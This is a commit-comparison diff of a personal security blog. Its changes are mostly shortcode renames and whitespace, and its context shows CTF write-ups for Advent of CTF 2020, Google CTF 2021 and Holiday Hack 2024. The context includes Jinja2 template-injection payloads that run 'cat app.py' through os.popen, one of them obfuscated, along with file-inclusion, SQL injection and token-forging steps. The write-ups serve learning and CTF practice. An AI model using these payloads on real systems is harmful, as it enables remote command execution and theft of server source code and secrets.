Compare commits

...

7 Commits

  1. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/cover.png
  2. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/cover2.png
  3. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/assembled-image.png
  4. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/connection-error.png
  5. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/final-image.png
  6. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/instructions.png
  7. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/overview.png
  8. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/programmer-config.png
  9. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/silver.png
  10. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/wires-connected-messages.png
  11. BIN
      assets/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/wiring.png
  12. 7
      content/posts/liveoverflow-minecraft-server.md
  13. 6
      content/writeups/adventofctf/2020/challenge_13.md
  14. 22
      content/writeups/adventofctf/2020/challenge_16.md
  15. 22
      content/writeups/adventofctf/2020/challenge_17.md
  16. 202
      content/writeups/adventofctf/2020/challenge_22.md
  17. 10
      content/writeups/adventofctf/2020/challenge_24.md
  18. 150
      content/writeups/adventofctf/2020/challenge_4.md
  19. 6
      content/writeups/adventofctf/2020/challenge_6.md
  20. 116
      content/writeups/google-ctf/2021/beginners-quest/3.md
  21. 8
      content/writeups/google-ctf/2021/beginners-quest/4.md
  22. 12
      content/writeups/google-ctf/2021/beginners-quest/5.md
  23. 76
      content/writeups/google-ctf/2021/beginners-quest/6.md
  24. 4
      content/writeups/google-ctf/2021/beginners-quest/7.md
  25. 76
      content/writeups/holiday-hack-challenge/2024/act1/curling.md
  26. 42
      content/writeups/holiday-hack-challenge/2024/act1/frosty-keypad.md
  27. 320
      content/writeups/holiday-hack-challenge/2024/act1/hardware-hacking-part1.md
  28. 40
      content/writeups/holiday-hack-challenge/2024/prologue/elf-connect.md
  29. 38
      content/writeups/holiday-hack-challenge/2024/prologue/elf-minder.md
  30. 44
      content/writeups/holiday-hack-challenge/2024/prologue/orientation.md
  31. 56
      static/files/writeups/holiday-hack-challenge/2024/act1/hardware-hacking-part1/heuristic_edge_detection.py
  32. BIN
      static/files/writeups/holiday-hack-challenge/2024/act1/hardware-hacking-part1/shreds.zip
  33. 11
      themes/maik-blog/assets/js/main.js
  34. 28
      themes/maik-blog/assets/scss/_buttons.scss
  35. 58
      themes/maik-blog/assets/scss/_collapsible-block.scss
  36. 33
      themes/maik-blog/assets/scss/_main.scss
  37. 2
      themes/maik-blog/assets/scss/main.scss
  38. 17
      themes/maik-blog/layouts/shortcodes/code.html
  39. 19
      themes/maik-blog/layouts/shortcodes/collapsible-block.html

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

@ -25,7 +25,6 @@ During one of his earlier videos, LiveOverflow challenged his viewers to find th
In LiveOverflow's eighth video, [he told his viewers that the server has been opened to the public](https://youtu.be/QradKmQ27JY?t=1246). I immediately started looking for ways to find it. After researching for a while, I found multiple ways to find it, but I thought they would all take a fair bit of time (I'll get back to this later). So, instead of spending time actually learning stuff, I rewatched his videos to see if there would be a clue in there. Luckily it worked out. In [one video](https://youtu.be/Hmmr1oLt-V8?t=28) he blurred the IP inside the terminal, but forgot about the terminal title bar :smile:. I notified him of this, as it was obviously unintended, and the IP was changed shortly after, as many people apparently found it.
{{< figure src="/img/posts/liveoverflow-minecraft-server/first_ip_screenshot.png" title="Screenshot of video containing the IP address" >}}
### IP change
@ -36,7 +35,7 @@ During my research, I came across masscan. This is a piece of software that lets
I got to work and wrote a script that scans the IP range in which the old IP was located. It starts by using masscan to scan the entire range of IP addresses, and saves it to a file to use later. I then read this file, and request basic Minecraft server information like its MOTD, players and favicon. This information was saved in another file, in which, I could easily search for LiveOverflow. In the end, the new IP only had one digit changed.
{{< code language="python" title="scan.py" isCollapsed="true" >}}
{{< collapsible-block badge="python" title="scan.py" isCollapsed="true" >}}
```py
import masscan
@ -261,7 +260,7 @@ print(len(current_servers))
print(len(valid_servers))
```
{{< /code >}}
{{< /collapsible-block >}}
_This code is copied from a Jupyter Notebook, so it's not the most efficient and may not even work, the [here for the Github Gist of the Notebook](https://gist.github.com/maikka39/8019e2f1a45e1021fff05bd1e1688e14)_
@ -354,7 +353,7 @@ if ((delta > 1f / 256 || deltaAngle > 10f) && !this.player.isImmobile()) {
}
```
In short, this code means we can move around a tiny bit before a `PlayerMoveEvent` is sent. This caught my interest, as I thought there might be a way to change the `lastPos`. After reading more code, I found out there was!
In short, this code means we can move around a tiny bit before a `PlayerMoveEvent` is sent. This caught my interest, as I thought there might be a way to change the `lastPos`. After reading more code, I found out there was!
If we send a position that is far away, like x+100, y+100, the player will be teleported back before the `PlayerMoveEvent` gets sent. During this teleport action, `lastPos` get set to the position the player had before the “far away packet” was sent.

@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 1300
- Points: 1300
## Description
@ -117,7 +117,7 @@ Let's try to use the previous attack but with the flag file:
We get a big error:
{{< code language="html" title="Error message" >}}
{{< collapsible-block badge="html" title="Error message" >}}
```html
<br />
@ -183,7 +183,7 @@ line: 3 in <b>/var/www/html/index.php</b> on line <b>40</b><br />
<b>/var/www/html/index.php</b> on line <b>43</b><br />
```
{{< /code >}}
{{< /collapsible-block >}}
We probably got it because PHP is actually handling the PHP file as a PHP file 😀. This means we have to get it in some other way.

@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 1600
- Points: 1600
## Description
@ -41,12 +41,12 @@ When opening the source of the page we also find the following comment: "Here is
```js
function send() {
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
}
```
@ -74,7 +74,7 @@ This means the server is most likely using either Jinja2 of Twig.
Now that we found the vulnerability, we can start exploiting it. Let's start by getting the config. We can try to get it by entering `{{config}}` or `{{config.items()}}` as the emoji.
{{< code language="python" title="Result" >}}
{{< collapsible-block badge="python" title="Result" >}}
```python
dict_items([
@ -224,7 +224,7 @@ dict_items([
])
```
{{< /code >}}
{{< /collapsible-block >}}
If we take a look at it we find an item called 'flag' but it looks like it is encrypted in some way:
@ -282,7 +282,7 @@ The source of the server is probably `app.py` as it's the default for flask appl
config.__class__.__init__.__globals__['os'].popen('cat app.py').read()
```
{{< code language="python" title="app.py" >}}
{{< collapsible-block badge="python" title="app.py" >}}
```python
import random
@ -332,7 +332,7 @@ if __name__ == '__main__':
```
{{< /code >}}
{{< /collapsible-block >}}
When looking at the file, we see that the flag variable is set to the output of the `magic` function:

@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 1700
- Points: 1700
## Description
@ -41,12 +41,12 @@ When opening the source of the page we also find the following comment: "Here is
```js
function send() {
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
}
```
@ -154,7 +154,7 @@ To get the subclasses, we first have to convert `''.__class__.__mro__[1].__subcl
After submitting this, we get the following result:
{{< code language="text" title="Result" >}}
{{< collapsible-block badge="text" title="Result" >}}
```js
[
@ -643,7 +643,7 @@ After submitting this, we get the following result:
]
```
{{< /code >}}
{{< /collapsible-block >}}
In this result we find the following class: `<class 'os._wrap_close'>`. This is the `os` module and it is on index `127`. We can verify it's index by getting it from the submodules list using the following input:
@ -680,7 +680,7 @@ Now let's grab the contents of `app.py`:
{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("cat app\x2epy")|attr("read")() }}
```
{{< code language="python" title="app.py" >}}
{{< collapsible-block badge="python" title="app.py" >}}
```py
import random
@ -732,7 +732,7 @@ if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
```
{{< /code >}}
{{< /collapsible-block >}}
## Magic function

@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 2200
- Points: 2200
## Description
@ -49,8 +49,8 @@ When opening the page, we will see a broken image, this is expected as the file
```html
<img
src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
width="100%"
src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
width="100%"
/>
```
@ -80,64 +80,71 @@ Alas, we get the cat picture again. That's weird. There might be a filter on the
Using the same decoding method, we get the following result:
{{< code language="php" title="index.php" >}}
{{< collapsible-block badge="php" title="index.php" >}}
```html
<!DOCTYPE html>
<html class="no-js" lang="">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>Advent of CTF 22</title>
<meta name="description" content="" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="style.css" type="text/css" media="screen" />
<link
rel="stylesheet"
href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
crossorigin="anonymous"
/>
<style>
.row-margin-05 {
margin-top: 0.5em;
}
.row-margin-10 {
margin-top: 1em;
}
.row-margin-20 {
margin-top: 2em;
}
.row-margin-30 {
margin-top: 3em;
}
</style>
</head>
<body>
<div class="jumbotron bg-transparent mb-0 radius-0">
<div class="container fluid">
<div class="row">
<div class="col-xl-6 mx-auto">
<h1 class="display-2">
Advent of CTF <span class="vim-caret">22</span>
</h1>
<div class="lead mb-3 text-mono text-warning">
Your daily dose of CTF for December
</div>
<div class="row">
<div class="col-xl-12 mx-auto">
<div class="card">
<div class="card-header text-center">
<h2>The big reveal</h2>
</div>
<div class="card-body">
<?php
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>Advent of CTF 22</title>
<meta name="description" content="" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link
rel="stylesheet"
href="style.css"
type="text/css"
media="screen"
/>
<link
rel="stylesheet"
href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
crossorigin="anonymous"
/>
<style>
.row-margin-05 {
margin-top: 0.5em;
}
.row-margin-10 {
margin-top: 1em;
}
.row-margin-20 {
margin-top: 2em;
}
.row-margin-30 {
margin-top: 3em;
}
</style>
</head>
<body>
<div class="jumbotron bg-transparent mb-0 radius-0">
<div class="container fluid">
<div class="row">
<div class="col-xl-6 mx-auto">
<h1 class="display-2">
Advent of CTF <span class="vim-caret">22</span>
</h1>
<div class="lead mb-3 text-mono text-warning">
Your daily dose of CTF for December
</div>
<div class="row">
<div class="col-xl-12 mx-auto">
<div class="card">
<div class="card-header text-center">
<h2>The big reveal</h2>
</div>
<div class="card-body">
<?php
if (!isset($_GET["image"])) {
?>
<a href="/index.php?image=cat.jpg">Is this santa?</a>
<?php
<a href="/index.php?image=cat.jpg"
>Is this santa?</a
>
<?php
} else {
$path = $_GET["image"];
if (strpos($path,"secret") !== false) {
@ -145,49 +152,62 @@ Using the same decoding method, we get the following result:
}
$image = file_get_contents($path);
echo '<img src="data:image/jpeg;base64,'.base64_encode($image).'" width="100%"/>';
} ?>
</div>
<div class="card-footer text-center">Almost there</div>
</div>
</div>
</div>
<div class="row row-margin-30">
<div class="card mb-3 bg-dark text-white">
<div class="card-body">
<div class="row">
<div class="col-md-2">
<img src="/logo.png" />
</div>
<div class="col-md-9 offset-md-1 align-middle">
<p class="text-center">
<span class="align-middle">
The Advent of CTF is brought to you by
<a href="http://www.novi.nl">NOVI Hogeschool</a>. It
is built by
<a
href="https://twitter.com/credmp/"
class="icoTwitter"
title="Twitter"
><i class="fab fa-twitter"></i> @credmp</a
>. If you are looking for a Dutch Cyber Security
Bachelor degree or bootcamp,
<a href="https://www.novi.nl">check us out</a>.
</span>
</p>
} ?>
</div>
<div class="card-footer text-center">
Almost there
</div>
</div>
</div>
</div>
<div class="row row-margin-30">
<div class="card mb-3 bg-dark text-white">
<div class="card-body">
<div class="row">
<div class="col-md-2">
<img src="/logo.png" />
</div>
<div
class="col-md-9 offset-md-1 align-middle"
>
<p class="text-center">
<span class="align-middle">
The Advent of CTF is brought
to you by
<a href="http://www.novi.nl"
>NOVI Hogeschool</a
>. It is built by
<a
href="https://twitter.com/credmp/"
class="icoTwitter"
title="Twitter"
><i
class="fab fa-twitter"
></i>
@credmp</a
>. If you are looking for a
Dutch Cyber Security
Bachelor degree or bootcamp,
<a
href="https://www.novi.nl"
>check us out</a
>.
</span>
</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
</body>
</html>
```
{{< /code >}}
{{< /collapsible-block >}}
Just the PHP part:

@ -26,7 +26,7 @@ aliases = [
]
+++
- Points: 2400
- Points: 2400
## Description
@ -97,7 +97,7 @@ In [3]: pickle.loads(base64.b64decode("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAA
This time our board is quite a bit larger:
{{< code language="py" title="Board" >}}
{{< collapsible-block badge="py" title="Board" >}}
```py
{
@ -179,7 +179,7 @@ This time our board is quite a bit larger:
}
```
{{< /code >}}
{{< /collapsible-block >}}
We can see that a `chain` value has been added. From the title of this challenge, we can say that this is the blockchain that we likely have to bypass.
@ -230,7 +230,7 @@ We can see that, to verify the game, the function loops through all the blocks i
To crack this, we can simply reverse this algorithm. To do this, I grabbed the script from the HTML source, and added a crack method like so:
{{< code language="py" title="solve.py" >}}
{{< collapsible-block badge="py" title="solve.py" >}}
```python
import hashlib
@ -304,7 +304,7 @@ if __name__ == "__main__":
print(export_base64(game))
```
{{< /code >}}
{{< /collapsible-block >}}
After running this script, we get the following result:

@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 400
- Points: 400
## Description
@ -36,64 +36,64 @@ Visit <https://04.adventofctf.com> to start the challenge.
When opening the website we're (for the first time) not provided with a login form. It is still authentication though as we are greeted with a message: "If you have access to it the special present will be shown below:". Also, I noticed the URL changed after about five seconds. That hints at some javascript, so let's open the sources tab in devtools. We find `login.js`.
{{< code language="js" title="login.js" >}}
{{< collapsible-block badge="js" title="login.js" >}}
```js
function startup() {
key = localStorage.getItem("key");
key = localStorage.getItem("key");
if (key === null) {
localStorage.setItem("key", "eyJ1c2VyaWQiOjB9.1074");
}
if (key === null) {
localStorage.setItem("key", "eyJ1c2VyaWQiOjB9.1074");
}
}
var _0x1fde = ["charCodeAt"];
(function (_0x93ff3a, _0x1fded8) {
var _0x39b47b = function (_0x54f1d3) {
while (--_0x54f1d3) {
_0x93ff3a["push"](_0x93ff3a["shift"]());
}
};
_0x39b47b(++_0x1fded8);
var _0x39b47b = function (_0x54f1d3) {
while (--_0x54f1d3) {
_0x93ff3a["push"](_0x93ff3a["shift"]());
}
};
_0x39b47b(++_0x1fded8);
})(_0x1fde, 0x192);
var _0x39b4 = function (_0x93ff3a, _0x1fded8) {
_0x93ff3a = _0x93ff3a - 0x0;
var _0x39b47b = _0x1fde[_0x93ff3a];
return _0x39b47b;
_0x93ff3a = _0x93ff3a - 0x0;
var _0x39b47b = _0x1fde[_0x93ff3a];
return _0x39b47b;
};
function calculate(_0x54f1d3) {
var _0x58628b = _0x39b4,
_0xc289d4 = 0x0;
for (let _0x19ddf3 in text) {
_0xc289d4 += text[_0x58628b("0x0")](_0x19ddf3);
}
return _0xc289d4;
var _0x58628b = _0x39b4,
_0xc289d4 = 0x0;
for (let _0x19ddf3 in text) {
_0xc289d4 += text[_0x58628b("0x0")](_0x19ddf3);
}
return _0xc289d4;
}
function check() {
key = localStorage.getItem("key");
hash = window.location.search.split("?")[1];
key = localStorage.getItem("key");
hash = window.location.search.split("?")[1];
if (key !== null && hash != "token=" + key) {
parts = key.split(".");
text = atob(parts[0]);
checksum = parseInt(parts[1]);
if (key !== null && hash != "token=" + key) {
parts = key.split(".");
text = atob(parts[0]);
checksum = parseInt(parts[1]);
count = calculate(text);
count = calculate(text);
if (count == checksum) {
setTimeout(function () {
window.location = "index.php?token=" + key;
}, 5000);
if (count == checksum) {
setTimeout(function () {
window.location = "index.php?token=" + key;
}, 5000);
}
}
}
}
startup();
check();
```
{{< /code >}}
{{< /collapsible-block >}}
This looks like some obfuscated code. So I started with de-obfuscating the code. After a few minutes of reading the code, I remembered to always start at the output. And after looking at the `check()` function I found out I had wasted my time.
@ -101,42 +101,42 @@ As it turns out, we don't need to know what the obfuscated code does. If we read
```js
function check() {
// Get key from localStorage
// The key is initialized in startup()
// > "eyJ1c2VyaWQiOjB9.1074"
key = localStorage.getItem("key");
// Get the token from the url
// > "token=eyJ1c2VyaWQiOjB9.1074"
hash = window.location.search.split("?")[1];
// If key and hash are not empty:
if (key !== null && hash != "token=" + key) {
// Split the key by a .
// > (2) ["eyJ1c2VyaWQiOjB9", "1074"]
parts = key.split(".");
// Decode the base64 from the first part of the key
// > "{"userid":0}"
text = atob(parts[0]);
// Get the value of the second part of the key as an int
// > 1074
checksum = parseInt(parts[1]);
// Calculate the value of text
// > 1074
count = calculate(text);
// If the last part of the key is correct:
if (count == checksum) {
// Execute this function after 5000ms
setTimeout(function () {
// Execute a get request with the token parameter
window.location = "index.php?token=" + key;
}, 5000);
// Get key from localStorage
// The key is initialized in startup()
// > "eyJ1c2VyaWQiOjB9.1074"
key = localStorage.getItem("key");
// Get the token from the url
// > "token=eyJ1c2VyaWQiOjB9.1074"
hash = window.location.search.split("?")[1];
// If key and hash are not empty:
if (key !== null && hash != "token=" + key) {
// Split the key by a .
// > (2) ["eyJ1c2VyaWQiOjB9", "1074"]
parts = key.split(".");
// Decode the base64 from the first part of the key
// > "{"userid":0}"
text = atob(parts[0]);
// Get the value of the second part of the key as an int
// > 1074
checksum = parseInt(parts[1]);
// Calculate the value of text
// > 1074
count = calculate(text);
// If the last part of the key is correct:
if (count == checksum) {
// Execute this function after 5000ms
setTimeout(function () {
// Execute a get request with the token parameter
window.location = "index.php?token=" + key;
}, 5000);
}
}
}
}
```
@ -148,14 +148,14 @@ Let's turn this into some code:
```js
function generateHash(input) {
// Set the global text variable defined in
// login.js, otherwise calculate doesn't work
text = input;
// Set the global text variable defined in
// login.js, otherwise calculate doesn't work
text = input;
let count = calculate(text);
let key = btoa(text) + "." + count;
let count = calculate(text);
let key = btoa(text) + "." + count;
console.log(key);
console.log(key);
}
generateHash('{"userid":0}');

@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 600
- Points: 600
## Description
@ -72,7 +72,7 @@ As you can see the string is escaped and the result of this query will have the
When submitting it I got the following result:
{{< code language="text" title="Result" >}}
{{< collapsible-block badge="text" title="Result" >}}
```markdown
| id | Description | Proof |
@ -244,7 +244,7 @@ When submitting it I got the following result:
| secrets | 2-------- | 3------- |
```
{{< /code >}}
{{< /collapsible-block >}}
## Solution

@ -58,9 +58,9 @@ Upon opening the website, we're greeted with a code editor and some text:
>
> The controlCar function takes a single parameter – `scanArray` – which is an array containing 17 integers denoting distance > from your car to the nearest obstacle:
>
> - [indexes 0-7]: on the left side of the car (index 7 is the measurement at the left headlight),
> - [index 8]: at the center of the car,
> - [indexes 9-16]: on the right side of the car (index 9 is the measurement at the right headlight).
> - [indexes 0-7]: on the left side of the car (index 7 is the measurement at the left headlight),
> - [index 8]: at the center of the car,
> - [indexes 9-16]: on the right side of the car (index 9 is the measurement at the right headlight).
>
> See also [this image]({{< ref "#radar-image" >}}) (it's not precise, but will give you an idea what you are looking at).
>
@ -72,9 +72,9 @@ Upon opening the website, we're greeted with a code editor and some text:
>
> The `controlCar` must return an integer denoting where the car should drive:
>
> - -1 (or any other negative value): drive more to the left,
> - 0: continue straight / straighten up the car,
> - 1 (or any other positive value): drive more to the right.
> - -1 (or any other negative value): drive more to the left,
> - 0: continue straight / straighten up the car,
> - 1 (or any other positive value): drive more to the right.
When opening the source, we also find the following comment:
@ -92,66 +92,66 @@ When opening the source, we also find the following comment:
To solve this challenge, I came up with the following script:
{{< code language="js" title="solve.js" >}}
{{< collapsible-block badge="js" title="solve.js" >}}
```js
function controlCar(scanArray) {
if (!window.has_reset_game) {
window.has_reset_game = true;
window.car_position = 0;
window.queue = [];
}
if (window.queue.length === 0) {
let left, center, right;
if (window.car_position === -1) {
left = 8;
center = 12;
right = 15;
} else if (window.car_position === 0) {
left = 4;
center = 8;
right = 12;
} else if (window.car_position === 1) {
left = 1;
center = 4;
right = 8;
if (!window.has_reset_game) {
window.has_reset_game = true;
window.car_position = 0;
window.queue = [];
}
left = scanArray[left];
center = scanArray[center];
right = scanArray[right];
let furthest = Math.max(left, center, right);
let closest = Math.min(left, center, right);
console.log(left, center, right);
let moveInDirection = (direction) => {
console.log("Going in direction", direction);
if (direction === window.car_position) {
window.queue.push(0);
} else if (direction > window.car_position) {
window.queue.push(1, 1, 1, 1);
window.car_position += 1;
} else if (direction < window.car_position) {
window.queue.push(-1, -1, -1, -1);
window.car_position -= 1;
}
};
if (closest < 0) moveInDirection(window.car_position);
else if (furthest === left) moveInDirection(-1);
else if (furthest === center) moveInDirection(0);
else if (furthest === right) moveInDirection(1);
}
return window.queue.pop();
if (window.queue.length === 0) {
let left, center, right;
if (window.car_position === -1) {
left = 8;
center = 12;
right = 15;
} else if (window.car_position === 0) {
left = 4;
center = 8;
right = 12;
} else if (window.car_position === 1) {
left = 1;
center = 4;
right = 8;
}
left = scanArray[left];
center = scanArray[center];
right = scanArray[right];
let furthest = Math.max(left, center, right);
let closest = Math.min(left, center, right);
console.log(left, center, right);
let moveInDirection = (direction) => {
console.log("Going in direction", direction);
if (direction === window.car_position) {
window.queue.push(0);
} else if (direction > window.car_position) {
window.queue.push(1, 1, 1, 1);
window.car_position += 1;
} else if (direction < window.car_position) {
window.queue.push(-1, -1, -1, -1);
window.car_position -= 1;
}
};
if (closest < 0) moveInDirection(window.car_position);
else if (furthest === left) moveInDirection(-1);
else if (furthest === center) moveInDirection(0);
else if (furthest === right) moveInDirection(1);
}
return window.queue.pop();
}
```
{{< /code >}}
{{< /collapsible-block >}}
It starts off by initializing some global variables if the game is running for the first time (or after a restart). After which, it check if there are still moves in the queue. If so, it grabs the last item out of the queue and returns it.

@ -43,7 +43,7 @@ You’re taking a stroll in the lab, when Dr. Klostermann is calling your name:
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/4/attachment.zip)
{{< code language="c" title="chal.c" isCollapsed="true" >}}
{{< collapsible-block badge="c" title="chal.c" isCollapsed="true" class="tight" >}}
```c
#include <stdbool.h>
@ -208,7 +208,7 @@ int main(void)
}
```
{{< /code >}}
{{< /collapsible-block >}}
## Recon
@ -308,7 +308,7 @@ for set_mask, clr_mask in zip(set_masks, clr_masks):
print(flag.strip())
```
{{< code language="py" title="Full code" isCollapsed="true" >}}
{{< collapsible-block badge="py" title="Full code" isCollapsed="true" >}}
```py
set_mask_str = "gpio_set_mask"
@ -343,7 +343,7 @@ for set_mask, clr_mask in zip(set_masks, clr_masks):
print(flag.strip())
```
{{< /code >}}
{{< /collapsible-block >}}
## Solution

@ -50,7 +50,7 @@ As you and Gökhan are leaving the crates to enter a car, you spot the tough guy
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/5/attachment.zip)
{{< code language="py" title="RoboCaller1337.py" isCollapsed="true" >}}
{{< collapsible-block badge="py" title="RoboCaller1337.py" isCollapsed="true" class="tight" >}}
```py
import random
@ -103,9 +103,9 @@ if __name__ == "__main__":
main()
```
{{< /code >}}
{{< /collapsible-block >}}
{{< code language="txt" title="robo_numbers_list.txt" isCollapsed="true" >}}
{{< collapsible-block badge="txt" title="robo_numbers_list.txt" isCollapsed="true" class="tight" >}}
```txt
263-170-6234
@ -734,7 +734,7 @@ if __name__ == "__main__":
446-996-9104
```
{{< /code >}}
{{< /collapsible-block >}}
## Recon
@ -793,7 +793,7 @@ for a,b in zip(key, secret):
print(flag)
```
{{< code language="py" title="Full code" isCollapsed="true" >}}
{{< collapsible-block badge="py" title="Full code" isCollapsed="true" >}}
```py
from mt19937predictor import MT19937Predictor
@ -816,7 +816,7 @@ for a,b in zip(key, secret):
print(flag)
```
{{< /code >}}
{{< /collapsible-block >}}
## Solution

@ -50,7 +50,7 @@ After having climbed through the window, you wait for a while on the ground. The
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/6/attachment.zip)
{{< code language="txt" title="encodings" isCollapsed="true" >}}
{{< collapsible-block badge="txt" title="encodings" isCollapsed="true" class="tight" >}}
```text
I made a super secret encoder. I remember using:
@ -64,15 +64,15 @@ I made a super secret encoder. I remember using:
I also use gzip and zlib (to compress the stuff) and I like hiding things in files...
```
{{< /code >}}
{{< /collapsible-block >}}
{{< code language="txt" title="chall.txt" isCollapsed="true" >}}
{{< collapsible-block badge="txt" title="chall.txt" isCollapsed="true" class="tight" >}}
```txt
File is too large to display here.
```
{{< /code >}}
{{< /collapsible-block >}}
## Recon
@ -336,7 +336,7 @@ for line in data:
print(line)
```
{{< code language="text" title="output" >}}
{{< collapsible-block badge="text" title="output" >}}
```text
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
@ -776,7 +776,7 @@ nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
```
{{< /code >}}
{{< /collapsible-block >}}
### nya~
@ -841,43 +841,43 @@ Then, let's follow the steps to convert brainfuck to Unary in reverse.
1. Remove the leading `1`
```py
unary_code = unary_code[1:]
```
```py
unary_code = unary_code[1:]
```
2. Replace unary with brainfuck
```py
for i in range(0, len(unary_code), 3):
operation = unary_code[i:i+3]
if operation == "000":
brainfuck_code += ">"
elif operation == "001":
brainfuck_code += "<"
elif operation == "010":
brainfuck_code += "+"
elif operation == "011":
brainfuck_code += "-"
elif operation == "100":
brainfuck_code += "."
elif operation == "101":
brainfuck_code += ","
elif operation == "110":
brainfuck_code += "["
elif operation == "111":
brainfuck_code += "]"
```
```py
for i in range(0, len(unary_code), 3):
operation = unary_code[i:i+3]
if operation == "000":
brainfuck_code += ">"
elif operation == "001":
brainfuck_code += "<"
elif operation == "010":
brainfuck_code += "+"
elif operation == "011":
brainfuck_code += "-"
elif operation == "100":
brainfuck_code += "."
elif operation == "101":
brainfuck_code += ","
elif operation == "110":
brainfuck_code += "["
elif operation == "111":
brainfuck_code += "]"
```
3. Print the result:
```py
print(brainfuck_code)
```
```py
print(brainfuck_code)
```
```bf
[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>----------<-]>-.<[>----------<-]>----.<+++++[>----------<-]>-------.<[>++++++++++<-]>+.<++++++[>++++++++++<-]>+++.<++++++[>----------<-]>----.<++++[>++++++++++<-]>++++.<+[>++++++++++<-]>+++++.<++++++[>----------<-]>--.<++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>++++.<++++++[>----------<-]>-.<[>++++++++++<-]>++++.<++++++[>++++++++++<-]>++.<+[>++++++++++<-]>+.<
```
```bf
[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>----------<-]>-.<[>----------<-]>----.<+++++[>----------<-]>-------.<[>++++++++++<-]>+.<++++++[>++++++++++<-]>+++.<++++++[>----------<-]>----.<++++[>++++++++++<-]>++++.<+[>++++++++++<-]>+++++.<++++++[>----------<-]>--.<++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>++++.<++++++[>----------<-]>-.<[>++++++++++<-]>++++.<++++++[>++++++++++<-]>++.<+[>++++++++++<-]>+.<
```
### Brainfuck
@ -903,7 +903,7 @@ CTF{pl34s3_n0_m04r}
As for most ctf problems, I've written a script that executes all the step automatically and returns the flag.
{{< code language="py" title="solve.py" isCollapsed="true" >}}
{{< collapsible-block badge="py" title="solve.py" isCollapsed="true" >}}
```py
